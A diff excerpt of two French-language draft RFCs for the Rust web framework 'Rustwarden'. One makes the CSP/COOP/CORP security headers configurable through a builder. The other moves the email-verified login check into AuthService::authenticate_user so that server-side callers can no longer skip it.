51 +### Qui est impacté
52 +
53 +- Gitrust : drop `SetResponseHeaderLayer::overriding` une fois le builder exposé.
54 +- Apps qui gardent le défaut : **aucun** changement d’en-têtes (même CSP).
55 +- `rustwarden-ui` : Phase 2 seulement, après Alpine CSP.
56 +
57 +### Si on ne fait rien
58 +
59 +Chaque consommateur réimplémente un overlay Tower. Le défaut reste indurcissable sans patch core. COOP/CORP restent absents du framework.
60 +
61 +### Urgence
62 +
63 +Pas un patch 1.0.1. RFC obligatoire : nouvel item `pub` + builder. Le défaut CSP ne bouge **pas** dans le premier PR d’implémentation.
64 +
65 +## Non-goals
66 +
67 +- **Pas de changement de CSP par défaut** dans le train d’implémentation initial (ni 1.0.1, ni le PR « API additive »). `'unsafe-inline'` et `'unsafe-eval'` restent dans `Default`.
68 +- **Pas de nonce / hash CSP** (Phases 2–4 de `PLAN_CSP_HTMX.md`).
69 +- **Pas de COOP/CORP on by default** : `Option::None` (opt-in).
70 +- **Pas d’injection via `Extension`** (piège d’ordre des layers, ci-dessus).
71 +- **Pas de toucher** à `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS (`APP_DEBUG`) dans cette RFC — ils restent hardcodés comme aujourd’hui.
72 +- **Pas de CORS** (déjà `CorsLayer` séparé).
73 +
74 +## API proposée
75 +
76 +Nouveau fichier `crates/rustwarden-core/src/config/security_headers.rs`, `pub mod security_headers` dans [`config/mod.rs`](../../crates/rustwarden-core/src/config/mod.rs). Re-export optionnel prelude : `SecurityHeadersConfig` (recommandé, item d’usage builder).
77 +
78 +### Config
79 +
80 +```rust
81 +// crates/rustwarden-core/src/config/security_headers.rs
82 +use std::borrow::Cow;
83 +
84 +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first
85 +/// implementation PR (Alpine.js still needs 'unsafe-eval').
86 +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str =
87 + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
88 +
89 +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build).
90 +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of this RFC.
91 +pub const CSP_WITHOUT_UNSAFE_EVAL: &str =
92 + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
93 +
94 +/// Configurable security headers applied by `security_headers_middleware`.
95 +#[derive(Clone, Debug)]
96 +pub struct SecurityHeadersConfig {
97 + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval).
98 + pub content_security_policy: Cow<'static, str>,
99 + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in).
100 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
101 + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in).
102 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
103 +}
104 +
105 +impl Default for SecurityHeadersConfig {
106 + fn default() -> Self {
107 + Self {
108 + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY),
109 + cross_origin_opener_policy: None,
110 + cross_origin_resource_policy: None,
111 + }
112 + }
113 +}
114 +
115 +impl SecurityHeadersConfig {
116 + /// Opt-in isolation headers commonly used by Gitrust.
117 + pub fn with_same_origin_isolation(mut self) -> Self {
118 + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin"));
119 + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin"));
120 + self
121 + }
122 +}
123 +```
124 +
125 +Les snippets sont **proposés** (Draft). `DEFAULT_CONTENT_SECURITY_POLICY` est la chaîne **exacte** lue dans `app.rs` L881 (vérifiée 2026-09-18).
126 +
127 +### Builder
128 +
129 +```rust
130 +impl RustwardenBuilder {
131 + /// Override security headers (CSP / optional COOP / CORP).
132 + ///
133 + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP,
134 + /// no COOP/CORP). Call this to let Gitrust drop
135 + /// `SetResponseHeaderLayer::overriding`.
136 + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self {
137 + self.security_headers = cfg;
138 + self
139 + }
140 +}
141 +```
142 +
143 +Champ nouveau sur `RustwardenBuilder` : `security_headers: SecurityHeadersConfig` initialisé à `SecurityHeadersConfig::default()` dans `Default`.
144 +
145 +Usage consommateur :
146 +
147 +```rust
148 +use rustwarden_core::app::RustwardenApp;
149 +use rustwarden_core::config::security_headers::SecurityHeadersConfig;
150 +
151 +async fn build_gitrust() -> anyhow::Result<()> {
152 + let cfg = SecurityHeadersConfig::default()
153 + .with_same_origin_isolation();
154 + // Optionally: cfg.content_security_policy = Cow::Borrowed("...");
155 + let _app = RustwardenApp::builder()
156 + .from_env()
157 + .security_headers(cfg)
158 + .build()
159 + .await?;
160 + Ok(())
161 +}
162 +```
163 +
164 +`from_env()` actuel ne lit **pas** de CSP env — volontaire (politique dans le code / builder, pas une string `.env` non revue). Open question si un `CSP=` est souhaité plus tard.
165 +
166 +### Câblage middleware — capture `Arc`, pas `Extension`
167 +
168 +Même patron de **clone dans la closure** que `locale_middleware` (`app.rs` ~L708–712). Position **inchangée** (toujours le layer externe juste après CORS) :
169 +
170 +```rust
171 +let headers_cfg = std::sync::Arc::new(self.security_headers.clone());
172 +
173 +.layer(axum::middleware::from_fn({
174 + let cfg = headers_cfg.clone();
175 + move |req, next| {
176 + let cfg = cfg.clone();
177 + async move { security_headers_middleware(cfg, req, next).await }
178 + }
179 +}))
180 +```
181 +
182 +Signature interne (reste `pub(crate)` / privée au module `app`) :
183 +
184 +```rust
185 +async fn security_headers_middleware(
186 + cfg: Arc<SecurityHeadersConfig>,
187 + request: Request,
188 + next: Next,
189 +) -> Response {
190 + let mut response = next.run(request).await;
191 + let headers = response.headers_mut();
192 + // ... existing X-Content-Type-Options, X-Frame-Options, etc. ...
193 +
194 + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref())
195 + .unwrap_or_else(|_| HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY));
196 + headers.insert(HeaderName::from_static("content-security-policy"), csp);
197 +
198 + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() {
199 + if let Ok(val) = HeaderValue::from_str(coop) {
200 + headers.insert(
201 + HeaderName::from_static("cross-origin-opener-policy"),
202 + val,
203 + );
204 + }
205 + }
206 + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() {
207 + if let Ok(val) = HeaderValue::from_str(corp) {
208 + headers.insert(
209 + HeaderName::from_static("cross-origin-resource-policy"),
210 + val,
211 + );
212 + }
213 + }
214 + // HSTS inchangé (APP_DEBUG)
215 + response
216 +}
217 +```
218 +
219 +`from_str` invalide → fallback CSP 1.0.1 (pas de `unwrap` sur le hot path). COOP/CORP mal formés : skip + `tracing::warn`, pas de 500.
220 +
221 +Constitution : pas d’`unwrap`/`expect` hors tests.
222 +
223 +### Phase 2 (après Accept de cette RFC **et** Alpine CSP)
224 +
225 +Prérequis : [`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1 (`@alpinejs/csp`, inventaire `x-data` inline → `Alpine.data`).
226 +
227 +Alors seulement : `Default` pointe sur `CSP_WITHOUT_UNSAFE_EVAL` (retirer `'unsafe-eval'`, **garder** `'unsafe-inline'` jusqu’aux phases suivantes du plan). C’est un **changement de défaut** : PR séparé, mention CHANGELOG `Security`, éventuellement minor. Hors du premier PR d’implémentation de **cette** RFC.
228 +
229 +Gitrust, une fois le builder livré (Phase 1 API), pose sa CSP (déjà sans eval) via `.security_headers(cfg)` et **retire** `SetResponseHeaderLayer::overriding`.
230 +
231 +## Analyse de compatibilité
232 +
233 +Checklist :
234 +
235 +- [ ] API existante non modifiée → le middleware existait déjà (privé).
236 +- [x] API existante étendue avec défaut → **non-breaking** (minor) : `security_headers()` optionnel, `Default` = CSP actuelle.
237 +- [ ] API existante modifiée ou supprimée → non.
238 +- [x] Nouveau comportement par défaut → **non** en Phase 1 API. Phase 2 = oui (sans eval) — PR distinct.
239 +- [ ] Changement de schéma DB → non.
240 +- [ ] Changement de format sérialisé → non (en-têtes HTTP seulement).
241 +
242 +Apps qui n’appellent pas le builder method : bit-identical headers vs 1.0.1.
243 +
244 +## Alternatives considérées
245 +
246 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
247 +
248 +### Alternative A (recommandée) : config additive + capture `Arc` + défaut 1.0.1
249 +
250 +**Pros** : Gitrust drop l’overlay ; COOP/CORP opt-in ; zéro casse UI ; évite le piège `Extension` (layer externe). Phase 2 documentée, pas mélangée.
251 +
252 +**Cons** : la CSP par défaut reste faible jusqu’à Alpine CSP. Deux PR (API, puis défaut).
253 +
254 +### Alternative B : changer le défaut CSP maintenant (sans `'unsafe-eval'`)
255 +
256 +**Pros** : ferme M-10 plus vite pour les apps UI vanilla.
257 +
258 +**Cons** : **casse l’admin** (Alpine `new Function()`). Interdit explicitement pour 1.0.1 et pour le premier train de cette RFC. Gitrust n’a pas ce problème (overlay) mais `rustwarden-ui` / apps wizard si.
259 +
260 +### Alternative C (ne rien faire / garder `SetResponseHeaderLayer::overriding`)
261 +
262 +**Pros** : zéro coût upstream. Gitrust conserve son workaround.
263 +
264 +**Cons** : chaque consommateur réinvente l’override ; COOP/CORP absents du framework ; Phase 2 défaut impossible à partager. Divergence M-10.
265 +
266 +## Testing plan
267 +
268 +Tests unitaires :
269 +
270 +- Happy path : `SecurityHeadersConfig::default().content_security_policy` **égale** à la constante actuelle `app.rs` L881 (test de non-dérive).
271 +- Erreur 1 — CSP non-ASCII / CR-LF : `from_str` fail → réponse sert `DEFAULT_CONTENT_SECURITY_POLICY`, pas de panic.
272 +- Erreur 2 — COOP `Some("same-origin\n")` invalide → header COOP **absent**, CSP toujours présent.
273 +- Erreur 3 — `with_same_origin_isolation()` : COOP et CORP `same-origin` ; sans appel, les deux absents.
274 +
275 +Tests d’intégration (middleware / client axum fake) :
276 +
277 +- Router de test avec le `from_fn` + `Arc` clone : `GET /` → `content-security-policy` défaut ; **pas** de `cross-origin-opener-policy`.
278 +- Même router avec `with_same_origin_isolation()` : les trois en-têtes présents.
279 +- Régression : `x-frame-options: DENY`, `x-content-type-options: nosniff` toujours là.
280 +- Contrôle négatif **Extension** : ne **pas** injecter `Extension(cfg)` et vérifier que le middleware (Arc capturé) fonctionne quand même — documente le piège.
281 +
282 +Tests de non-régression :
283 +
284 +- Consommateurs qui n’appellent pas `.security_headers()` **compilent** (`Default` du builder).
285 +- `cargo test` UI non requis au PR API (Phase 2 seulement).
286 +
287 +Doctests :
288 +
289 +- Au moins un exemple copie/collable sur `SecurityHeadersConfig::default` / `with_same_origin_isolation` (sans I/O), exécuté comme doctest.
290 +
291 +Benchs : non (insert headers, hors bcrypt). Pas de seuil 10 %.
292 +
293 +Les exemples builder `.build().await` restent `ignore` (DB). Le doctest de la struct `Default` est exécutable.
294 +
295 +## Migration guide
296 +
297 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
298 +
299 +```markdown
300 +### API changes
301 +
302 +**Before (v1.0.1)** :
303 +`security_headers_middleware` hardcodait la CSP (avec `'unsafe-inline'`
304 +et `'unsafe-eval'`). Pas de COOP/CORP. Gitrust overlay
305 +`SetResponseHeaderLayer::overriding`.
306 +
307 +**After (vX.Y.Z)** :
308 +Nouveau `rustwarden_core::config::security_headers::SecurityHeadersConfig`.
309 +`RustwardenApp::builder().security_headers(cfg)`. Défaut **identique**
310 +à 1.0.1. COOP/CORP opt-in (`None`). Le middleware capte `Arc<…>` à la
311 +construction (pas `Extension` : le layer est plus externe que les
312 +`Extension` dans `app.rs`).
313 +
314 +Phase 2 (PR ultérieur, après Alpine `@alpinejs/csp`, cf.
315 +`docs/plans/PLAN_CSP_HTMX.md`) : `Default` sans `'unsafe-eval'`.
316 +
317 +```rust
318 +use rustwarden_core::config::security_headers::SecurityHeadersConfig;
319 +
320 +RustwardenApp::builder()
321 + .from_env()
322 + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation())
323 + .build()
324 + .await?;
325 +```
326 +
327 +### Migration steps
328 +
329 +1. Bump `rustwarden-core` à la version qui livre RFC 0039 (Phase 1 API).
330 +2. Gitrust : passer la CSP actuelle au builder ; **retirer**
331 + `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`.
332 +3. Apps UI vanilla : ne rien faire (défaut inchangé).
333 +4. Ne **pas** retirer `'unsafe-eval'` du défaut tant que
334 + `PLAN_CSP_HTMX.md` Phase 1 n'est pas faite.
335 +```
336 +
337 +## Open questions
338 +
339 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
340 +
341 +- [ ] **Re-export prelude** : `SecurityHeadersConfig` dans `prelude` ou seulement `config::security_headers` ?
342 +- [ ] **Env `CSP=`** : hors v1 (recommandé) vs lu par `from_env()` ?
343 +- [ ] **Phase 2 dans cette RFC** (acceptée comme intention) vs RFC 00xx dédiée au changement de défaut ? Recommandé : rester ici comme phase datée, PR séparé.
344 +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`.
345 +
346 +## Tracking issue
347 +
348 +À ouvrir sur le dépôt Rustwarden (labels `area:http` + `security` + `rfc`) en référençant M-10, `PLAN_CSP_HTMX.md` et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
349 +
350 +---
351 +
352 +## Score d'évaluation (rempli par les reviewers)
353 +
354 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
355 +
356 +| Critère | Note (1-5) | Commentaire |
357 +|---|---|---|
358 +| Généralité | 5 | Tous les builders ; Gitrust retire un overlay ; COOP/CORP partagés. |
359 +| Stabilité API | 5 | Ajout pur + `Default` bit-identical 1.0.1 ; pas de breaking Phase 1. |
360 +| Performance | 5 | Clone `Arc` + `HeaderValue::from_str` une fois par réponse ; négligeable. |
361 +| Sécurité | 4 | API de durcissement ; le défaut reste faible jusqu’à Phase 2 (volontaire). |
362 +| Complexité d'implémentation | 4 | Un struct + champ builder + closure clone ; piège Extension documenté. |
363 +| Charge de maintenance | 4 | Une constante CSP à ne pas faire dériver (`DEFAULT_*` + test d’égalité). |
364 +| Documentation | 4 | RFC + rustdoc + PLAN_CSP_HTMX ; CHANGELOG Phase 1 vs 2. |
365 +| **Total** | **31/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0040-authenticate-user-email-verified.md
+320 -0
@@ -0,0 +1,320 @@
1 +# RFC 0040 — `AuthService::authenticate_user` honore `validation_email_required`
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Draft
6 +- **Apps consommatrices concernées** : Gitrust (SSR / appels directs au service) ; `rustwarden-ui` (déjà via `POST /api/v1/auth/login`) ; tout consommateur de `rustwarden-core` qui appelle `AuthService::authenticate_user`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 17). Contrat limiteur : finding E-2 / layer `auth_ip_rate_limit` 1.0.1.
9 +
10 +## Summary
11 +
12 +Déplacer le contrôle « e-mail vérifié » de `auth/handlers.rs` `login` vers `AuthService::authenticate_user`, avec le même `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)`, pour que Gitrust et tout SSR qui appelle le service ne puissent plus le contourner.
13 +
14 +## Motivation
15 +
16 +### Problème concret
17 +
18 +Le login JSON fait :
19 +
20 +1. [`AuthService::authenticate_user`](../../crates/rustwarden-core/src/services/auth_service.rs) (~L109–121) : `verify_credentials` + log `must_change_password` (**sans** regarder `email_verified`).
21 +2. [`login`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L313–340) : lit le setting puis bloque.
22 +
23 +```318:340:crates/rustwarden-core/src/auth/handlers.rs
24 + let email_validation_required =
25 + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
26 + &db,
27 + &["validation_email_required", "validation_email_requise"],
28 + true,
29 + )
30 + .await
31 + .unwrap_or(true);
32 +
33 + if email_validation_required && !user.email_verified {
34 + let reason = "email_not_verified";
35 + // ...
36 + AuthLoggingService::log_blocked_login(...).await?;
37 + return Err(AppError::Validation(
38 + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
39 + ));
40 + }
41 +```
42 +
43 +Call sites de `authenticate_user` dans ce dépôt : **uniquement** `handlers::login`. Gitrust (et tout handler SSR custom) qui appelle le **service** saute les lignes 313–340 : mot de passe OK + `email_verified=false` → session/JWT quand même.
44 +
45 +`verify_credentials` (~L50) reste le primitive « mot de passe seulement » — utilisé par [`totp_handler`](../../crates/rustwarden-ui/src/handlers/totp_handler.rs) (~L336) pour re-prompt password au setup 2FA. **Ne pas** y coller le check e-mail.
46 +
47 +### Bootstrap admin
48 +
49 +[`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) (~L86) pose déjà `email_verified = Set(true)` après `create_user`. **Ne pas** retravailler ce seed. L’admin par défaut passe le nouveau check. Les users `register` restent `email_verified=false` ([`create_user`](../../crates/rustwarden-core/src/services/user_service.rs) ~L50).
50 +
51 +### Qui est impacté
52 +
53 +- Gitrust / apps qui login via le service au lieu de `/api/v1/auth/login`.
54 +- `rustwarden-ui` : [`login.html`](../../crates/rustwarden-ui/templates/login.html) fait déjà `fetch('/api/v1/auth/login')` — comportement **identique** après déplacement (le handler délègue).
55 +- Utilisateurs non vérifiés : toujours bloqués si le setting est vrai (défaut `true`).
56 +
57 +### Si on ne fait rien
58 +
59 +Politique `validation_email_required` = théâtre HTTP. Un consommateur « bien intentionné » qui factorise le login sur `authenticate_user` ouvre un bypass. RFC 0038 (un-verify au change d’e-mail) serait inefficace sur ces chemins.
60 +
61 +### Urgence
62 +
63 +Pas un patch 1.0.1. Durcissement de la porte d’auth unique. Breaking comportemental **voulu** pour les callers service.
64 +
65 +## Non-goals
66 +
67 +- **Pas de nouveau middleware browser obligatoire** (E-2). Le limiteur login **est** le layer [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) (~L223) monté sur [`auth_api_routes`](../../crates/rustwarden-core/src/auth/routes.rs) (`/api/v1/auth/login`, register, refresh, forgot-password, 2FA verify, resend-verification). Helper public inchangé : `check_auth_rate_limit(&HeaderMap)`.
68 +- **SSR `POST /login`** : soit appeler `check_auth_rate_limit` (ou le layer), soit **passer par** `POST /api/v1/auth/login` (comme `rustwarden-ui`). Cette RFC **n’ajoute pas** de layer CSRF/rate-limit sur les routes HTML.
69 +- **Pas de rework** `default_admin_service` / seed `email_verified=true`.
70 +- **Pas de check dans** `verify_credentials` (setup TOTP, re-auth password).
71 +- **Pas de révocation** des JWT déjà émis pour un compte non vérifié.
72 +- **Pas de changement** du message d’erreur actuel (français, `AppError::Validation`) au premier PR — l’UI parse `err.error` / `err.message`.
73 +- **Pas de newtype / nouvel `AppError::EmailNotVerified`** dans cette RFC (open question).
74 +- **Pas d’OAuth** : le signup OAuth a son propre `email_verified` provider.
75 +
76 +## API proposée
77 +
78 +Signature **inchangée** :
79 +
80 +```rust
81 +// crates/rustwarden-core/src/services/auth_service.rs
82 +impl AuthService {
83 + /// Authenticate user (password + optional email-verified policy).
84 + ///
85 + /// 1. [`Self::verify_credentials`]
86 + /// 2. Log `must_change_password` (does not block)
87 + /// 3. If `validation_email_required` / `validation_email_requise`
88 + /// (default `true`) and `!user.email_verified` → [`AppError::Validation`]
89 + pub async fn authenticate_user(
90 + db: &DatabaseConnection,
91 + identifier: &str,
92 + password: &str,
93 + ) -> Result<user::Model, AppError> { /* ... */ }
94 +}
95 +```
96 +
97 +Corps **après Accept** (proposition ; Draft, ne compile pas tel quel tant que les `use` ne sont pas ajoutés) :
98 +
99 +```rust
100 +pub async fn authenticate_user(
101 + db: &DatabaseConnection,
102 + identifier: &str,
103 + password: &str,
104 +) -> Result<user::Model, AppError> {
105 + let user = Self::verify_credentials(db, identifier, password).await?;
106 +
107 + if user.must_change_password {
108 + tracing::info!("User {} should change password (flag set)", user.username);
109 + }
110 +
111 + let email_validation_required =
112 + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
113 + db,
114 + &["validation_email_required", "validation_email_requise"],
115 + true,
116 + )
117 + .await
118 + .unwrap_or(true);
119 +
120 + if email_validation_required && !user.email_verified {
121 + tracing::warn!(
122 + "Login attempt blocked (unverified email): {} ({})",
123 + user.username,
124 + user.email
125 + );
126 + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login(
127 + db,
128 + &user.email,
129 + "email_not_verified",
130 + None,
131 + )
132 + .await;
133 + return Err(AppError::Validation(
134 + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
135 + ));
136 + }
137 +
138 + Ok(user)
139 +}
140 +```
141 +
142 +Notes d’implémentation :
143 +
144 +- `unwrap_or(true)` : lookup setting en erreur → **fail-closed** (exiger la vérif), comme le handler.
145 +- `log_blocked_login(..., hooks: None)` : l’`audit_logs` row est écrite ; `on_audit_event` du handler HTTP **ne** part plus de `login` sauf si on ajoute un paramètre `hooks` (open question). Gitrust qui appelait le service n’avait **aucun** check : un audit_log sans hook reste un plus.
146 +- Handler `login` : **supprimer** le bloc 313–340 (évite double lecture setting + double log). Enchaîner TOTP / tokens comme aujourd’hui.
147 +- Coût : la même requête `app_settings` qu’aujourd’hui, déplacée.
148 +
149 +### Usage consommateur (Gitrust / SSR)
150 +
151 +```rust
152 +use rustwarden_core::error::AppError;
153 +use rustwarden_core::middleware::rate_limit::check_auth_rate_limit;
154 +use rustwarden_core::services::auth_service::AuthService;
155 +use axum::http::HeaderMap;
156 +use sea_orm::DatabaseConnection;
157 +
158 +async fn ssr_login(
159 + db: &DatabaseConnection,
160 + headers: &HeaderMap,
161 + identifier: &str,
162 + password: &str,
163 +) -> Result<(), AppError> {
164 + // E-2: this RFC does not add a browser middleware.
165 + if let Err(resp) = check_auth_rate_limit(headers) {
166 + let _ = resp; // map to AppError::TooManyRequests at impl time
167 + return Err(AppError::TooManyRequests {
168 + retry_after_secs: 60,
169 + });
170 + }
171 + let _user = AuthService::authenticate_user(db, identifier, password).await?;
172 + Ok(())
173 +}
174 +```
175 +
176 +Chemin **recommandé** : ne pas dupliquer, `fetch`/`POST` `/api/v1/auth/login` (layer `auth_ip_rate_limit` déjà là, `ConnectInfo` via `RustwardenApp::run`).
177 +
178 +`check_auth_rate_limit` sans `ConnectInfo` clé `auth:unknown` si `TRUSTED_PROXY_HOPS=0` — c’est le contrat 1.0.1 ; les apps SSR doivent préférer le layer ou `into_make_service_with_connect_info`.
179 +
180 +## Analyse de compatibilité
181 +
182 +Checklist :
183 +
184 +- [x] API existante non modifiée → signature `authenticate_user` inchangée (**compile**).
185 +- [ ] API existante étendue avec défaut → N/A.
186 +- [x] API existante modifiée ou supprimée → **breaking comportemental** pour tout caller service qui login un user `email_verified=false` alors que le setting est true.
187 +- [x] Nouveau comportement par défaut du **service** (le HTTP l’avait déjà). Pas de feature-flag au-delà du setting existant.
188 +- [ ] Changement de schéma DB → non.
189 +- [ ] Changement de format sérialisé → le JSON `login` inchangé (même `AppError::Validation`).
190 +
191 +SemVer : minor `Security` documenté, ou major processus §1. Open question. Gitrust **doit** s’attendre au blocage (c’est le bugfix).
192 +
193 +HTTP `login` : non-breaking fonctionnel (même message, même setting).
194 +
195 +## Alternatives considérées
196 +
197 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
198 +
199 +### Alternative A (recommandée) : déplacer le check dans `authenticate_user`
200 +
201 +**Pros** : une porte, impossible à contourner via le service. Même setting / même message / même fail-closed. Admin seed déjà `email_verified=true`. Handler allégé. RFC 0038 devient effective partout.
202 +
203 +**Cons** : breaking pour Gitrust SSR. `on_audit_event` du handler login ne voit plus ce blocage sauf `hooks` passé au service (None au v1). Un `SELECT` settings sur tous les callers service (voulus).
204 +
205 +### Alternative B : documenter « les consommateurs doivent recopier le check »
206 +
207 +**Pros** : zéro diff core service ; HTTP inchangé.
208 +
209 +**Cons** : exactement le gap actuel. Deux implémentations (HTTP vs Gitrust) dérivent. `validation_email_requise` oublié d’un côté. Contredit « lowest common denominator » du processus.
210 +
211 +### Alternative C (ne rien faire)
212 +
213 +**Pros** : zéro coût, zéro risque de casser un login Gitrust non vérifié (s’il en existe en prod).
214 +
215 +**Cons** : bypass service à vie ; 0038 inefficace hors HTTP ; dette audit Task 17.
216 +
217 +## Testing plan
218 +
219 +Tests unitaires / service (DB de test) :
220 +
221 +- Happy path : user `email_verified=true`, setting true → `authenticate_user` `Ok(user)` (credentials valides).
222 +- Happy path setting off : `validation_email_required=false`, user non vérifié → `Ok(user)`.
223 +- Erreur 1 — input invalide : mauvais mot de passe → `AppError::InvalidCredentials` **avant** le check e-mail (pas d’oracle « compte existe mais non vérifié » vs « mauvais mot de passe » au-delà de ce que `verify_credentials` fait déjà).
224 +- Erreur 2 — contrainte politique : setting true (ou absent, défaut true), `email_verified=false`, bon mot de passe → `AppError::Validation` avec le message français actuel ; une row `audit_logs` `login_blocked` / `email_not_verified`.
225 +- Erreur 3 — lookup setting `DbErr` : `unwrap_or(true)` → user non vérifié bloqué (fail-closed), pas de panic ; user vérifié toujours `Ok`.
226 +- Admin bootstrap : `ensure_default_admin` puis `authenticate_user(ADMIN_USERNAME, ADMIN_PASSWORD)` → `Ok` (email déjà true). **Ne pas** modifier le seed ; c’est un test de non-régression.
227 +
228 +Tests d’intégration (handler HTTP) :
229 +
230 +- `POST /api/v1/auth/login` user non vérifié → même 4xx / body qu’aujourd’hui (après suppression du bloc handler).
231 +- `POST /api/v1/auth/login` reste derrière `auth_ip_rate_limit` (tests existants `auth/routes.rs`).
232 +- `verify_credentials` seul (chemin TOTP UI) : user non vérifié + bon password → **toujours Ok** (pas de régression setup 2FA).
233 +
234 +Tests de non-régression :
235 +
236 +- Consommateurs **compilent**.
237 +- `must_change_password` toujours logged, jamais bloquant dans `authenticate_user`.
238 +- `rustwarden-ui` login page : pas de nouveau middleware ; continue d’appeler l’API.
239 +
240 +Doctests :
241 +
242 +- Rustdoc anglais sur `authenticate_user` : politique e-mail + pointeur `verify_credentials`. Exemple I/O en `ignore`. Contrat lisible sans DB.
243 +
244 +Benchs : un `get_bool_with_fallback` déjà payé par HTTP. Pas de nouveau bcrypt. Pas de seuil 10 %.
245 +
246 +Les snippets `ssr_login` sont documentaires ; `TooManyRequests` mapping est indicatif.
247 +
248 +## Migration guide
249 +
250 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
251 +
252 +```markdown
253 +### API changes
254 +
255 +**Before (v1.0.1)** :
256 +Le contrôle `email_verified` vivait dans `auth::handlers::login`
257 +(`get_bool_with_fallback(["validation_email_required",
258 +"validation_email_requise"], true)`). `AuthService::authenticate_user`
259 +ne vérifiait que le mot de passe. Un SSR / Gitrust qui appelait le
260 +service contournait la politique.
261 +
262 +**After (vX.Y.Z)** :
263 +Le même contrôle (mêmes clés, défaut `true`, fail-closed, même
264 +`AppError::Validation` français) est dans `authenticate_user`.
265 +Le handler `login` ne le duplique plus. `verify_credentials` inchangé
266 +(re-auth TOTP). `ensure_default_admin` pose déjà `email_verified=true`
267 +— pas de changement de seed.
268 +
269 +Breaking pour les callers de `authenticate_user` : un compte non
270 +vérifié est désormais refusé si le setting est actif.
271 +
272 +E-2 : pas de nouveau middleware browser. Limiteur =
273 +`auth_ip_rate_limit` sur `/api/v1/auth/*`. Un `POST /login` SSR doit
274 +appeler `check_auth_rate_limit` **ou** passer par l'API.
275 +
276 +```rust
277 +let user = AuthService::authenticate_user(db, identifier, password).await?;
278 +```
279 +
280 +### Migration steps
281 +
282 +1. Bump `rustwarden-core` à la version qui livre RFC 0040.
283 +2. Gitrust : grep `authenticate_user` — s'attendre au `Validation`
284 + e-mail non vérifié ; ne **pas** réimplémenter le check à côté.
285 +3. Routes SSR `POST /login` : `check_auth_rate_limit` ou proxy API.
286 + Pas d'obligation de nouveau layer.
287 +4. Vérifier que l'admin par défaut se connecte toujours (seed
288 + `email_verified=true`).
289 +5. Aucune migration SQL.
290 +```
291 +
292 +## Open questions
293 +
294 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
295 +
296 +- [ ] **`hooks` sur `authenticate_user`** : rester `log_blocked_login(..., None)` (recommandé v1, signature stable) vs `Option<&Arc<dyn RustwardenHooks>>` (breaking ou surcharge) ?
297 +- [ ] **`AppError::EmailNotVerified`** : garder `Validation` (compat UI) vs variante dédiée (meilleur i18n, breaking JSON) ?
298 +- [ ] **SemVer** : minor Security vs major (comportement service) ?
299 +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`.
300 +
301 +## Tracking issue
302 +
303 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 17, E-2 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
304 +
305 +---
306 +
307 +## Score d'évaluation (rempli par les reviewers)
308 +
309 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
310 +
311 +| Critère | Note (1-5) | Commentaire |
